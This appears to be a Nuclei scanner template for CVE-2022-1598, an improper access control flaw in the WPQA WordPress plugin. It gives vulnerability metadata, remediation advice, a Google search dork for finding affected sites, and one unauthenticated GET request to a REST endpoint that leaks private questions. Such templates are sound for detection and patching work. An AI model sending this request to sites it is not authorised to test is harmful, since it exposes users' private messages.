CVE-2022-1598: WordPress WPQA <5.5 - Improper Access Control

id: CVE-2022-1598

info:
  name: WordPress WPQA <5.5 - Improper Access Control
  author: veshraj
  severity: medium
  description: |
    WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site.
  impact: |
    This vulnerability can result in unauthorized access to sensitive information, potentially leading to data breaches or unauthorized actions.
  remediation: |
    Update the WPQA plugin to version 5.5 or later to fix the improper access control issue.
  reference:
    - https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1598
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1598
    - https://github.com/20142995/Goby
    - https://github.com/WhooAmii/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-1598
    cwe-id: CWE-306
    epss-score: 0.05383
    epss-percentile: 0.92255
    cpe: cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: 2code
    product: wpqa_builder
    framework: wordpress
    google-query: inurl:/wp-content/plugins/wpqa
  tags: cve,cve2022,wordpress,wp-plugin,wpqa,idor,wpscan,2code,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-json/wp/v2/asked-question'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"rendered":'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220521d356acb2ca8c377f75760db14041e097cd035615de9e6465ee977252ffaec02202eda6213d8b0bbc2f6307668e131bc3e9b53991705b7f9bcf529d23d804cc62c:922c64590222798bb761d5b6d8e72950

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